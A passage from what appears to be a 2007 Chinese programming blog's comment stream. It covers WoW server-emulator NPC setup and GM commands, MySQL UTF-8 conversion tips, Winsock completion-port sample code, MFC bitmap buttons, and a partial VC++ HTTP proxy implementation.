15756 兽人玛狂欢者[男]
15757 巨魔狂欢者[男]
15758 暗夜精灵狂欢者[男]
15759 牛头人狂欢者[男]
15760 兽人狂欢者[男]
15660 冬天爷爷助手[男]
15663 冬天爷爷助手[女]
15687 冬天爷爷助手[男]
15732 带圣诞帽的人
15733 带圣诞帽的人
15734 带圣诞帽的人
15800 矮人狂欢者[女]
15806 矮人狂欢者[男]
15862 暗夜精灵新年使者[红色男]
15863 牛头人新年使者[红色男]
15864 暗夜精灵新年使者[蓝色男]
15872 暗夜精灵新年使者[绿色男]
15873 暗夜精灵新年使者[绿色女]
15874 暗夜精灵新年使者[紫色女]
15875 牛头人新年使者[绿色男]
15876 牛头人新年使者[绿色女]
15877 牛头人新年使者[红色女]
15899 暗夜精灵新年使者[红色女]
15950 身着暴露的女人
15952 身着暴露的亡灵女人
15982 头上长角的人
16104 粉红色礼服女
16189 小熊波利
16597 艺妓舞女1
16600 艺妓舞女2
re: ascent wow 聂文龙 2007-08-23 23:56
如何添加一个套装销售NPC!
主要在3个表插入信息
creature_names NPC名称、外形等参数
字段 entry, creature_name, Subname, Flags1, type, Family, Rank, unk4, SpellDataID, displayid, unk2, unk3, Civilian, Leader
------------------------------------------------------------------
creature_proto NPC属性、类型
字段 entry, level, faction, health, mana, scale, npcflags, attacktime, mindamage, maxdamage, rangedattacktime, rangedmindamage, rangedmaxdamage, mountdisplayid, item1slotdisplay, item1info1, item1info2, item2slotdisplay, item2info1, item2info2, item3slotdisplay, item3info1, item3info2, respawntime, resistance0_armor, resistance1, resistance2, resistance3, resistance4, resistance5, resistance6, combat_reach, bounding_radius, auras, boss
这里主要注意这个npcflags 4为物品出售,其他可以自己去试
------------------------------------------------------------------
vendors NPC销售物品列表
字段 vendorGuid, itemGuid, amount
第一个字段就是NPC的编号,第二个是物品编号(可以去items中自己查),第三个物品数量(0表示不限制数量)
------------------------------------------------------------------
下面是一个简单的销售骑士T2的NPC,大家可以自己修改
Copy code
INSERT INTO creature_names VALUES
(90010, "T2促销员", "圣骑士T2商人", 0, 7, 0, 0, 0, 0, 15527, 1, 1, 1, 0);
INSERT INTO creature_proto VALUES
(90010, 100, 1080, 9000000, 5000, 1, 4, 1000, 50000, 55000, 0, 1000, 5000, 0, 23316, 33492482, 13, 0, 0, 0, 0, 0, 0, 2000, 0, 0, 0, 0, 0, 0, 0, 1, 0.5, "", 0);
INSERT INTO vendors VALUES ("90010", "16951", 0);
INSERT INTO vendors VALUES ("90010", "16952", 0);
INSERT INTO vendors VALUES ("90010", "16953", 0);
INSERT INTO vendors VALUES ("90010", "16954", 0);
INSERT INTO vendors VALUES ("90010", "16955", 0);
INSERT INTO vendors VALUES ("90010", "16956", 0);
INSERT INTO vendors VALUES ("90010", "16957", 0);
INSERT INTO vendors VALUES ("90010", "16958", 0);
----------------------------------------------------------
使用,导入以上数据之后,重新启动服务器端,就可以使用GM账号在游戏中添加NPC了
使用如下命令: .npc spawn 90010
re: ascent wow 聂文龙 2007-08-23 23:44
GM命令!!
.commands 显示你的等级可用的命令列表
.help 指令帮助介绍
.announce 在聊天信息框发送服务器公告
.wannounce 在屏幕游戏画面中发送服务器公告
.appear 传送到指定的玩家身边
.summon 将指定的玩家传送到你的身边
.banchar 禁止指定的角色
.unbanchar 解除禁止指定的角色
.kick 将指定的玩家踢出游戏
.kill 杀死指定的生物,可以是NPC,可以是玩家和怪物
.revive 复活
.reviveplr 复活(玩家)
.modify 玩家,怪物,npc修正指令,带参数
.modify power 设置指定生物的力量值
.modify gold 设置指定生物的金币
.modify speed 设置指定生活的移动速度
.modify damage 设置指定生物的伤害值,指令格式:.modify damage 最小伤害 最大伤害
.modify hp 设置指定生物的生命值
.modify mana 设置指定生物的魔法值/怒气值
.morph
.demorph
.mount
.dismount
.gm 显示当前在线的GM
.gmon GM模式开启
.gmoff GM模式关闭
.Gps 显示当前所在地的座标
.info 显示当前服务器信息
.worldport 传送到指定的座标,指令格式:.worldport x y z 地图id
.save 保存自己角色信息
.saveall 保存全服角色信息
.start 回到出生点
.levelup 提升角色升级
.additem 添加某物品给商人或自己 +代码
.removeitem 移除某物品
.createguild 创建一个公会,格式 createguild 公会名称
.invincible 一级隐身模式,怪物无法看到你
.invisible 二级隐身模式,怪物和玩家都无法看到你,但可以看到你发送的信息
.resetreputation
.resetlevel 初始化等级
.resetspell 初始化法术
.resettalents 初始化天赋
.resetskills 初始化所有技能法术
.learn 学习技能(武器,马术等技能)
.unlearn 忘记技能
.learnskill 学习技能
.advanceskill 升级技能
.removeskill 移除技能
.waypoint 传送点管理指令,带参数
.debug 服务器调试指令,带参数
.gm ticket
.gobject 游戏物品调试指令,带参数
.battleground 传送到战场
.npc NPC调试指令,带参数
.npc follow 让npc跟随你一起行动
.npc come 让npc来到你的身边
.npc return 让npc回到他的刷新地点
.npc say 让npc说出你键入的文字内容
.npc yell 让npc喊出你键入的文字内容
.npc emote 让npc一直做一个表情
.npc spawn 刷新一个NPC,请慎重使用,如果你刷新出来,这个npc将会保存到你的数据库
.cheat 作弊用指令,带参数
.cheat fly 设置为飞行模式
.cheat flyspeed 设置飞行模式下的飞行速度
.cheat land 设置取消为行走模式
.cheat god 设置为天神模式,只有伤害数值不减血,不死
.cheat status 查看当前的作弊模式
.honor 声望、荣誉值、PK值调整指令,带参数
.pet 宠物管理指令
.recall 召唤指令
.getpos
.removeauras
.paralyze
.unparalyze
.setmotd 设置服务器欢迎信息
.additemset
.gotrig 传送到 +坐标
.createinstance 创建一个副本重置记录
.goinstance 传送到一个副本
.exitinstance 退出副本
.spawnspiritguide
.allowwhispers 设置允许私聊名单
.blockwhispers 设置禁止私聊名单
.reloadtable 重新读取指定的数据库,指令格式 .reloadtable 数据库名称
.killbyplayer 删除指定的角色
.killbyaccount 删除指定的帐号
.unlockmovement
.getrate
.setrate
.modperiod
.formationlink1
.formationlink2
.formationclear
.playall 向服务器所有玩家播放一个声音,指令格式:playall 1-400
.addipban 禁止一个IP,指令格式 .addbanip 0.0.0.0/掩码
.banaccount 冻结一个帐号
.renamechar 为指定的玩家重新命名,下次登陆时生效
.forcerenamechar 强制为指定的玩家重新命名
.getstanding
.setstanding
.lookupitem 查找指定的物品 .lookupitem 物品名称
.lookupcreature 查找指定的怪物或NPC
.reloadscripts 重新读取游戏脚本
re: mysql 编码 聂文龙 2007-08-23 22:53
1.如果安装mysql的编码已不能更改,很多朋友是购买虚拟主机建立网站,无权更改MYSQL的安装编码,这一关我们可以跳过,因为只要后面的步聚正确,一样能解决乱码问题
2.修改数据库编码,如果是数据库编码不正确: 可以在phpmyadmin 执行如下命令: ALTER DATABASE `test` DEFAULT CHARACTER SET utf8 COLLATE utf8_bin
以上命令就是将test数据库的编码设为utf8
3.修改表的编码:ALTER TABLE `category` DEFAULT CHARACTER SET utf8 COLLATE utf8_bin
以上命令就是将一个表category的编码改为utf8
4.修改字段的编码:
ALTER TABLE `test` CHANGE `dd` `dd` VARCHAR( 45 ) CHARACTER SET utf8 COLLATE utf8_bin NOT NULL
以上命令就是将test表中 dd的字段编码改为utf8
5.如果是这种情况容易解决,只需检查下页面,修改源文件的charset即可
, //这个正确就无问题了
6.这种情况也是修改页面charset即可,
7.在JSP连接数据库的语句中,
private String url="jdbc:mysql://localhost/"+DB_NAME+" user="+LOGIN_NAME+"&passWord="+LOGIN_PASSWORD+"&characterEncoding=GBK"; //相键要看characterEncoding
8.这种乱码的情况,只需在页面开头加上request.setCharacterEncoding("GBK"); 指定提交的即可
注意:按照以上方法修改以后只能保证你新插入的数据不会乱码,举个例:如果你用户已提交的数据是BIG5,你却想通过以上方法改为可以在GB2312的网页正确显示是不可能的, 这种文字内码的变换只能通过另写程序来解决
re: mysql 编码 聂文龙 2007-08-23 22:35
使用utf-8编码的好处:
1,国际化,能包容其他编码
2,在用java开发的时候,省去了烦人的汉字编码问题
把mysql从gb2312转到utf-8的方法:
环境:win2000 server,mysql 4.1.11-nt
1,导出原来的数据
>mysqldump --opt --default-character-set=latin1 --user=root --password company>company.sql
或>mysqldump --opt --default-character-set=gb2312 --user=root --password company>company.sql
导出后查看是否正确,汉字显示正常即可
2,重装mysql server,把缺省编码设置为utf-8
不重新安装server也可以,只要把数据库,数据表编码转成utf-8就可以了。
我重装以后,用show variables显示为:
mysql> show variables;
+---------------------------------+--------------------------+
| Variable_name | Value |
+---------------------------------+--------------------------+
| back_log | 50 |
| basedir | C:\mysql\ |
| binlog_cache_size | 32768 |
| bulk_insert_buffer_size | 8388608 |
| character_set_client | latin1 |
| character_set_connection | latin1 |
| character_set_database | utf8 |
| character_set_results | latin1 |
| character_set_server | utf8 |
| character_set_system | utf8 |
| character_sets_dir | C:\mysql\share\charsets/ |
| collation_connection | latin1_swedish_ci |
| collation_database | utf8_general_ci |
| collation_server | utf8_general_ci |
3,用editplus v2.12打开导出的脚本文件,在前面加上:
SET NAMES utf8;
SET CHARACTER_SET_CLIENT=utf8;
然后把文件另存为utf-8编码的格式
如果脚本文件中有指定数据表编码的语句,如"DEFAULT CHARSET=latin1",需要全部删掉
4,导入数据
>mysql -uroot -p company<company.sql
5,检查是否正确
re: 完成端口模型代码 聂文龙 2007-08-17 14:13
//采用完成端口的代理服务器原型代码
http://www.vckbase.com/code/listcode.asp?mclsid=9&sclsid=901
---------------------------------------------------------------
http://www.vctop.com/View.Asp?ID=484&CateID=1
---------------------------------------------------------------
服务器程序:
http://www.cnxbb.com/bcb/xbb_server_iocp.rar
模拟多客户端程序
http://www.cnxbb.com/bcb/EchoClient.rar
---------------------------------------------------------------
// Compile:
//
// cl -o callback callback.cpp ws2_32.lib
//
// Command Line Options:
//
// callback.exe
//
// Note: There are no command line options for this sample.
//
// 阻塞模式+重叠模型+完成例程机制,王天平,2003-06-20
//
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#define PORT 5150
#define DATA_BUFSIZE 8192
//套接字信息数组单元结构
typedef struct _SOCKET_INFORMATION {
OVERLAPPED Overlapped;//重叠结构
SOCKET Socket;//套接字
CHAR Buffer[DATA_BUFSIZE];//WSARecv/WSASend 数据缓冲区指针
WSABUF DataBuf;//WSARecv/WSASend 数据缓冲区
DWORD BytesSEND;//发送字节数
DWORD BytesRECV;//接收字节数
} SOCKET_INFORMATION, * LPSOCKET_INFORMATION;
void CALLBACK WorkerRoutine(DWORD Error, DWORD BytesTransferred,
LPWSAOVERLAPPED Overlapped, DWORD InFlags);
DWORD WINAPI WorkerThread(LPVOID lpParameter);
SOCKET AcceptSocket;
void main(void)
{
WSADATA wsaData;
SOCKET ListenSocket;
SOCKADDR_IN InternetAddr;
INT Ret;
HANDLE ThreadHandle;
DWORD ThreadId;
WSAEVENT AcceptEvent;
if ((Ret = WSAStartup(0x0202,&wsaData)) != 0)
{
printf("WSAStartup failed with error %d\n", Ret);
WSACleanup();
return;
}
if ((ListenSocket = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0,
WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET)
{
printf("Failed to get a socket %d\n", WSAGetLastError());
return;
}
InternetAddr.sin_family = AF_INET;
InternetAddr.sin_addr.s_addr = htonl(INADDR_ANY);
InternetAddr.sin_port = htons(PORT);
if (bind(ListenSocket, (PSOCKADDR) &InternetAddr,
sizeof(InternetAddr)) == SOCKET_ERROR)
{
printf("bind() failed with error %d\n", WSAGetLastError());
return;
}
if (listen(ListenSocket, 5))
{
printf("listen() failed with error %d\n", WSAGetLastError());
return;
}
if ((AcceptEvent = WSACreateEvent()) == WSA_INVALID_EVENT)
{
printf("WSACreateEvent() failed with error %d\n", WSAGetLastError());
return;
}
// Create a worker thread to service completed I/O requests.
if ((ThreadHandle = CreateThread(NULL, 0, WorkerThread, (LPVOID) AcceptEvent, 0, &ThreadId)) == NULL)
{
printf("CreateThread failed with error %d\n", GetLastError());
return;
}
while(TRUE)
{
AcceptSocket = accept(ListenSocket, NULL, NULL);
if (WSASetEvent(AcceptEvent) == FALSE)
{
printf("WSASetEvent failed with error %d\n", WSAGetLastError());
return;
}
}
}
DWORD WINAPI WorkerThread(LPVOID lpParameter)
{
DWORD Flags;
LPSOCKET_INFORMATION SocketInfo;
WSAEVENT EventArray[1];
DWORD Index;
DWORD RecvBytes;
// Save the accept event in the event array.
EventArray[0] = (WSAEVENT) lpParameter;
while(TRUE)
{
// Wait for accept() to signal an event and also process WorkerRoutine() returns.
while(TRUE)
{
Index = WSAWaitForMultipleEvents(1, EventArray, FALSE, WSA_INFINITE, TRUE);
if (Index == WSA_WAIT_FAILED)
{
printf("WSAWaitForMultipleEvents failed with error %d\n", WSAGetLastError());
return FALSE;
}
if (Index != WAIT_IO_COMPLETION)
{
// An accept() call event is ready - break the wait loop
break;
}
}
WSAResetEvent(EventArray[Index - WSA_WAIT_EVENT_0]);
// Create a socket information structure to associate with the accepted socket.
if ((SocketInfo = (LPSOCKET_INFORMATION) GlobalAlloc(GPTR,
sizeof(SOCKET_INFORMATION))) == NULL)
{
printf("GlobalAlloc() failed with error %d\n", GetLastError());
return FALSE;
}
// Fill in the details of our accepted socket.
SocketInfo->Socket = AcceptSocket;
ZeroMemory(&(SocketInfo->Overlapped), sizeof(WSAOVERLAPPED));
SocketInfo->BytesSEND = 0;
SocketInfo->BytesRECV = 0;
SocketInfo->DataBuf.len = DATA_BUFSIZE;
SocketInfo->DataBuf.buf = SocketInfo->Buffer;
Flags = 0;
if (WSARecv(SocketInfo->Socket, &(SocketInfo->DataBuf), 1, &RecvBytes, &Flags,
&(SocketInfo->Overlapped), WorkerRoutine) == SOCKET_ERROR)
{
if (WSAGetLastError() != WSA_IO_PENDING)
{
printf("WSARecv() failed with error %d\n", WSAGetLastError());
return FALSE;
}
}
printf("Socket %d connected\n", AcceptSocket);
}
return TRUE;
}
void CALLBACK WorkerRoutine(DWORD Error, DWORD BytesTransferred,
LPWSAOVERLAPPED Overlapped, DWORD InFlags)
{
DWORD SendBytes, RecvBytes;
DWORD Flags;
// Reference the WSAOVERLAPPED structure as a SOCKET_INFORMATION structure
LPSOCKET_INFORMATION SI = (LPSOCKET_INFORMATION) Overlapped;
if (Error != 0)
{
printf("I/O operation failed with error %d\n", Error);
}
if (BytesTransferred == 0)
{
printf("Closing socket %d\n", SI->Socket);
}
if (Error != 0 ¦ ¦ BytesTransferred == 0)
{
closesocket(SI->Socket);
GlobalFree(SI);
return;
}
// Check to see if the BytesRECV field equals zero. If this is so, then
// this means a WSARecv call just completed so update the BytesRECV field
// with the BytesTransferred value from the completed WSARecv() call.
if (SI->BytesRECV == 0)
{
SI->BytesRECV = BytesTransferred;
SI->BytesSEND = 0;
}
else
{
SI->BytesSEND += BytesTransferred;
}
if (SI->BytesRECV > SI->BytesSEND)
{
// Post another WSASend() request.
// Since WSASend() is not gauranteed to send all of the bytes requested,
// continue posting WSASend() calls until all received bytes are sent.
ZeroMemory(&(SI->Overlapped), sizeof(WSAOVERLAPPED));
SI->DataBuf.buf = SI->Buffer + SI->BytesSEND;
SI->DataBuf.len = SI->BytesRECV - SI->BytesSEND;
if (WSASend(SI->Socket, &(SI->DataBuf), 1, &SendBytes, 0,
&(SI->Overlapped), WorkerRoutine) == SOCKET_ERROR)
{
if (WSAGetLastError() != WSA_IO_PENDING)
{
printf("WSASend() failed with error %d\n", WSAGetLastError());
return;
}
}
}
else
{
SI->BytesRECV = 0;
// Now that there are no more bytes to send post another WSARecv() request.
Flags = 0;
ZeroMemory(&(SI->Overlapped), sizeof(WSAOVERLAPPED));
SI->DataBuf.len = DATA_BUFSIZE;
SI->DataBuf.buf = SI->Buffer;
if (WSARecv(SI->Socket, &(SI->DataBuf), 1, &RecvBytes, &Flags,
&(SI->Overlapped), WorkerRoutine) == SOCKET_ERROR)
{
if (WSAGetLastError() != WSA_IO_PENDING )
{
printf("WSARecv() failed with error %d\n", WSAGetLastError());
return;
}
}
}
}
re: 完成端口模型代码 聂文龙 2007-08-17 14:12
一起来分析一下最简单的完成端口代码
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <assert.h>
#include "Socket5.h"
void main(void)
{
//变量声明
WSADATA wsaData;
DWORD Ret;
HANDLE CompletionPort;
SYSTEM_INFO SystemInfo;
DWORD i;
DWORD ThreadID;
SOCKET Listen;
SOCKADDR_IN InternetAddr;
SOCKET Accept;
LPPER_HANDLE_DATA PerHandleData;
LPPER_IO_OPERATION_DATA PerIoData;
DWORD Flags;
DWORD RecvBytes;
//初始化WinSock2
if ((Ret = WSAStartup(0x0202, &wsaData)) != 0)
{
printf("WSAStartup failed with error %u\n", Ret);
return;
}
//创建完成端口对象
if((CompletionPort=CreateIoCompletionPort(INVALID_HANDLE_value,NULL,0,0))==NULL)
{
printf( "CreateIoCompletionPort failed with error: %u\n", GetLastError());
return;
}
//判断CPU数量
GetSystemInfo(&SystemInfo);
printf("您的机器有%d个CPU\n",SystemInfo.dwNumberOfProcessors);
//为每个CPU建立一个工作线程
for(i=0;i<SystemInfo.dwNumberOfProcessors;i++)
{
HANDLE ThreadHandle;
if((ThreadHandle=CreateThread(NULL,0,ServerWorkerThread,CompletionPort,0,&ThreadID)) == NULL)
{
printf("CreateThread() failed with error %u\n", GetLastError());
return;
}
CloseHandle(ThreadHandle);
}
//创建一个Socket用于监听服务端口
if((Listen=WSASocket(AF_INET,SOCK_STREAM,0,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET)
{
printf("WSASocket() failed with error %d\n", WSAGetLastError());
return;
}
//绑定监听端口
InternetAddr.sin_family=AF_INET;
InternetAddr.sin_addr.s_addr=htonl(INADDR_ANY);
InternetAddr.sin_port = htons(SOCKS_PORT);
if(bind(Listen,(PSOCKADDR)&InternetAddr,sizeof(InternetAddr))==SOCKET_ERROR)
{
printf("bind() failed with error %d\n", WSAGetLastError());
return;
}
//监听
if(listen(Listen,5)==SOCKET_ERROR)
{
printf("listen() failed with error %d\n", WSAGetLastError());
return;
}
printf("Server started at port : %d\n",SOCKS_PORT);
//接受每一个连接并将其关联到完成端口上
while(TRUE)
{
//接受连接
if((Accept=WSAAccept(Listen,NULL,NULL,NULL,0))==SOCKET_ERROR)
{
printf("WSAAccept() failed with error %d\n", WSAGetLastError());
return;
}
printf(" Client Socket number %d connected\n", Accept);
//创建包含接受的Socket信息的单句柄数据结构体
if((PerHandleData=(LPPER_HANDLE_DATA)GlobalAlloc(GPTR,sizeof(PER_HANDLE_DATA)))==NULL)
{
printf("GlobalAlloc() failed with error %u\n", GetLastError());
return;
}
//将Accept关联到完成端口
if(CreateIoCompletionPort((HANDLE)Accept,CompletionPort,(DWORD)PerHandleData,0)==NULL)
{
printf("CreateIoCompletionPort failed with error %u\n", GetLastError());
return;
}
//创建单I/O操作数据
if((PerIoData=(LPPER_IO_OPERATION_DATA)GlobalAlloc(GPTR,sizeof(PER_IO_OPERATION_DATA)))==NULL)
{
printf("GlobalAlloc() failed with error %u\n", GetLastError());
return;
}
PerHandleData->self=Accept;
PerHandleData->isClient=TRUE;
PerHandleData->SelfPerHandleData=PerHandleData;
PerHandleData->SelfPerIoData=PerIoData;
//接收客户端的版本信息
ZeroMemory(&(PerIoData->Overlapped), sizeof(OVERLAPPED));
PerIoData->Operation=OP_READ;
PerIoData->DataBuf.len = DATA_BUFSIZE;
PerIoData->DataBuf.buf = PerIoData->Buffer;
Flags = 0;
if((WSARecv(Accept,&(PerIoData->DataBuf),1,&RecvBytes,&Flags,&(PerIoData->Overlapped),NULL))==SOCKET_ERROR)
{
if (WSAGetLastError() != ERROR_IO_PENDING)
{
printf("WSARecv() failed with error %d\n", WSAGetLastError());
return;
}
}
}
}
DWORD WINAPI ServerWorkerThread(LPVOID CompletionPortID)
{
HANDLE CompletionPort=(HANDLE)CompletionPortID;
DWORD BytesTransferred;
LPPER_HANDLE_DATA PerHandleData;
LPPER_IO_OPERATION_DATA PerIoData;
DWORD Flags;
DWORD RecvBytes;
while(TRUE)
{
//使用GetQueuedCompletionStatus查询
if(GetQueuedCompletionStatus(CompletionPort,&BytesTransferred,(LPDWORD)&PerHandleData,(LPOVERLAPPED *)&PerIoData,INFINITE)==0)
{
int iError=GetLastError();
printf("GetQueuedCompletionStatus failed with error %u\n", iError);
if(iError==64)
{
continue;
}
else
{
printf("return 0\n");
return 0;
}
}
if(BytesTransferred==0)
{
//远端断开连接,关闭本机SOCKET
printf("Closing ");
if(PerHandleData->isClient==TRUE)
printf("Client");
else
printf("Dest");
printf(" socket %u\n", PerHandleData->self);
closesocket(PerHandleData->self);
//在此关闭和此SOCKET相关联的SOCKET
printf("Closing ");
if(PerHandleData->isClient==TRUE)
printf("Dest");
else
printf("Client");
printf(" socket %u\n", PerHandleData->other);
closesocket(PerHandleData->other);
GlobalFree(PerHandleData->OtherPerHandleData->SelfPerIoData);
GlobalFree(PerHandleData->OtherPerHandleData);
GlobalFree(PerHandleData);
GlobalFree(PerIoData);
continue;
}
switch(PerIoData->Operation)
{
case OP_READ:
WSARecv(PerHandleData->self,&PerHandleData->SelfPerIoData->DataBuf ,1,&RecvBytes,&Flags,&(PerHandleData->SelfPerIoData->Overlapped),NULL);
printf("%s\n",PerHandleData->SelfPerIoData->DataBuf.buf); //显示收到的数据
break;
case OP_WRITE:
printf("write...");
break;
case OP_ACCEPT:
printf("accept...");
break;
}//end of switch
}//end of while
return 0;
}//end of function
为什么我客户连接好以后 只能显示第一次发送的数据。。。以后发送数据就显示不出来了????
在没有搞懂下面的函数之前,别指望你的服务器会有很高的性能(我曾经发现我的tcp服务器的性能和连接数根本和人家的游戏服务器没法相比,后来才发现原因就在这里)
ioctlsocket,WSAAsyncSelect,WSACreateEvent,WSAEventSelect,WSAWaitForMultipleEvents,CompletionROUTINE,CreateIoCompletionPort,GetQueuedCompletionStatus。。。。。
re: 在VC中使用位图按钮 聂文龙 2007-08-16 17:34
/*
//从相对路径加载BMP
void CSkinTab::SetSkin(int nIndex, CString strNormal, CString strOver, CString strDown)
{
ASSERT(nIndex < m_nTabCount);
if (m_pTabBmpNormal[nIndex].m_hObject)
m_pTabBmpNormal[nIndex].Detach();
if (m_pTabBmpOver[nIndex].m_hObject)
m_pTabBmpOver[nIndex].Detach();
if (m_pTabBmpDown[nIndex].m_hObject)
m_pTabBmpDown[nIndex].Detach();
HBITMAP bm = (HBITMAP)::LoadImage(NULL,strNormal,IMAGE_BITMAP,0,0,LR_LOADFROMFILE);
m_pTabBmpNormal[nIndex].Attach(bm);
bm = (HBITMAP)::LoadImage(NULL,strOver,IMAGE_BITMAP,0,0,LR_LOADFROMFILE);
m_pTabBmpOver[nIndex].Attach(bm);
bm = (HBITMAP)::LoadImage(NULL,strDown,IMAGE_BITMAP,0,0,LR_LOADFROMFILE);
m_pTabBmpDown[nIndex].Attach(bm);
}
//从资源文件加载BMP
void CSkinTab::SetSkin(int nIndex, UINT nNormalID, UINT nOverID, UINT nDownID)
{
ASSERT(nIndex < m_nTabCount);
if (m_pTabBmpNormal[nIndex].m_hObject)
m_pTabBmpNormal[nIndex].Detach();
if (m_pTabBmpOver[nIndex].m_hObject)
m_pTabBmpOver[nIndex].Detach();
if (m_pTabBmpDown[nIndex].m_hObject)
m_pTabBmpDown[nIndex].Detach();
m_pTabBmpNormal[nIndex].LoadBitmap(nNormalID);
m_pTabBmpOver[nIndex].LoadBitmap(nOverID);
m_pTabBmpDown[nIndex].LoadBitmap(nDownID);
}
//从相对路径加载ICO
void CSkinTab::SetIcon(int nIndex, CString strIcon)
{
ASSERT(nIndex < m_nTabCount);
m_phIcon[nIndex] = (HICON)::LoadImage(AfxGetApp()->m_hInstance,strIcon,IMAGE_ICON,24,24,LR_LOADFROMFILE);
}
//从资源文件加载ICO
// 1. 打开ICON按钮的属性页,在Style中选中Icon 。
// 2. 在对话框类的头文件中定义成员变量(使用ClassWizard加入这个成员变量)
// CButton m_IconBtn;//对应于图标按钮
// 3. 创建相应的图标或者位图资源:
// 图标资源:IDI_ICONBUTTON
// 4.在初始化中加入如下代码:
// …
// //对应于图标按钮
// HICON hIcon=AfxGetApp()->LoadIcon(IDI_ICONBUTTON);
// m_IconBtn.SetIcon(hIcon);
*/
re: 用VC++实现http代理 聂文龙 2007-08-08 22:56
#include "stdafx.h"
#include "Proxy.h"
#include < winsock2.h > //WINSOCKET API 2。0
#include < stdlib.h >
#include < stdio.h >
#include < string.h >
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
#define HTTP "http://"
#define FTP "ftp://"
#define PROXYPORT 5001 //Proxy 端口
#define BUFSIZE 10240 //缓冲区大小
CWinApp theApp;
using namespace std;
UINT ProxyToServer(LPVOID pParam);
UINT UserToProxyThread(void *pParam);
struct SocketPair{
SOCKET user_proxy; //socket : 本地机器到PROXY 服务机
SOCKET proxy_server; //socket : PROXY 服务机到远程主机
BOOL IsUser_ProxyClosed; // 本地机器到PROXY 服务机状态
BOOL IsProxy_ServerClosed; // PROXY 服务机到远程主机状态
};
struct ProxyParam{
char Address[256]; // 远程主机地址
HANDLE User_SvrOK; // PROXY 服务机到远程主机的联结状态
SocketPair *pPair; // 维护一组SOCKET的指针
int Port; // 用来联结远程主机的端口
}; //这个结构用来PROXY SERVER与远程主机的信息交换.
SOCKET gListen_Socket; //用来侦听的SOCKET。
int StartServer() //启动服务
{
WSADATA wsaData;
sockaddr_in local;
SOCKET listen_socket;
if(::WSAStartup(0x202,&wsaData)!=0)
{printf("\nError in Startup session.\n");WSACleanup();return -1;};
local.sin_family=AF_INET;
local.sin_addr.s_addr=INADDR_ANY;
local.sin_port=htons(PROXYPORT);
listen_socket=socket(AF_INET,SOCK_STREAM,0);
if(listen_socket==INVALID_SOCKET)
{printf("\nError in New a Socket.");WSACleanup();return -2;}
if(::bind(listen_socket,(sockaddr *)&local,sizeof(local))!=0)
{printf("\n Error in Binding socket."); WSACleanup();return -3; };
if(::listen(listen_socket,5)!=0)
{printf("\n Error in Listen."); WSACleanup(); return -4;}
gListen_Socket=listen_socket;
AfxBeginThread(UserToProxyThread,NULL); //启动侦听
return 1;
}
int CloseServer() //关闭服务
{
closesocket(gListen_Socket);
WSACleanup();
return 1;
}
//分析接收到的字符,得到远程主机地址
int GetAddressAndPort( char * str, char *address, int * port)
{
char buf[BUFSIZE], command[512], proto[128], *p;
int j;
sscanf(str,"%s%s%s",command,buf,proto);
p=strstr(buf,HTTP);
//HTTP
if(p)
{
p+=strlen(HTTP);
for(int i=0;i< strlen(p);i++)
if( *(p+i)=='/') break;
*(p+i)=0;
strcpy(address,p);
p=strstr(str,HTTP);
for(int j=0;j< i+strlen(HTTP);j++)
*(p+j)=' '; //去掉远程主机名: GET http:/www.csdn.net/ HTTP1.1 == > GET / HTTP1.1
*port=80; //缺省的 http 端口
}
else
{//FTP, 不支持, 下面的代码可以省略.
p=strstr(buf,FTP);
if(!p) return 0;
p+=strlen(FTP);
for(int i=0;i< strlen(p);i++)
if( *(p+i)=='/') break; //Get The Remote Host
*(p+i)=0;
for(j=0;j< strlen(p);j++)
if(*(p+j)==':')
{*port=atoi(p+j+1); //Get The Port
*(p+j)=0;
}
else *port=21;
strcpy(address,p);
p=strstr(str,FTP);
for(j=0;j< i+strlen(FTP);j++)
*(p+j)=' ';
}
return 1;
}
// 取到本地的数据,发往远程主机
UINT UserToProxyThread(void *pParam)
{
char Buffer[BUFSIZE];
int Len;
sockaddr_in from;
SOCKET msg_socket;
int fromlen,retval;
SocketPair SPair;
ProxyParam ProxyP;
CWinThread *pChildThread;
fromlen=sizeof(from);
msg_socket=accept(gListen_Socket,(struct sockaddr*)&from,&fromlen);
AfxBeginThread(UserToProxyThread,pParam); //启动另一侦听.
if( msg_socket==INVALID_SOCKET)
{ printf( "\nError in accept "); return -5;}
//读客户的第一行数据
SPair.IsUser_ProxyClosed=FALSE;
SPair.IsProxy_ServerClosed=TRUE;
SPair.user_proxy=msg_socket;
retval=recv(SPair.user_proxy,Buffer,sizeof(Buffer),0);
if(retval==SOCKET_ERROR)
{ printf("\nError Recv");
if(SPair.IsUser_ProxyClosed==FALSE)
{closesocket(SPair.user_proxy);
SPair.IsUser_ProxyClosed=TRUE;
}
}
if(retval==0)
{printf("Client Close connection\n");
if(SPair.IsUser_ProxyClosed==FALSE)
{closesocket(SPair.user_proxy);
SPair.IsUser_ProxyClosed=TRUE;
}
}
Len=retval;
#ifdef _DEBUG
Buffer[Len]=0;
printf("\n Received %d bytes,data[%s]from client\n",retval,Buffer);
#endif
//
SPair.IsUser_ProxyClosed=FALSE;
SPair.IsProxy_ServerClosed=TRUE;
SPair.user_proxy=msg_socket;
ProxyP.pPair=&SPair;
ProxyP.User_SvrOK=CreateEvent(NULL,TRUE,FALSE,NULL);
GetAddressAndPort( Buffer,ProxyP.Address,&ProxyP.Port);
pChildThread=AfxBeginThread(ProxyToServer,(LPVOID)&ProxyP);
::WaitForSingleObject(ProxyP.User_SvrOK,60000); //等待联结
::CloseHandle(ProxyP.User_SvrOK);
while(SPair.IsProxy_ServerClosed ==FALSE && SPair.IsUser_ProxyClosed==FALSE)
{
retval=send(SPair.proxy_server,Buffer,Len,0);
if(retval==SOCKET_ERROR)
{ printf("\n send() failed:error%d\n",WSAGetLastError());
if(SPair.IsProxy_ServerClosed==FALSE)
{
closesocket(SPair.proxy_server);
SPair.IsProxy_ServerClosed=TRUE;
}
continue;
}
retval=recv(SPair.user_proxy,Buffer,sizeof(Buffer),0);
if(retval==SOCKET_ERROR)
{ printf("\nError Recv");
if(SPair.IsUser_ProxyClosed==FALSE)
{closesocket(SPair.user_proxy);
SPair.IsUser_ProxyClosed=TRUE;
}
continue;
}
if(retval==0)
{printf("Client Close connection\n");
if(SPair.IsUser_ProxyClosed==FALSE)
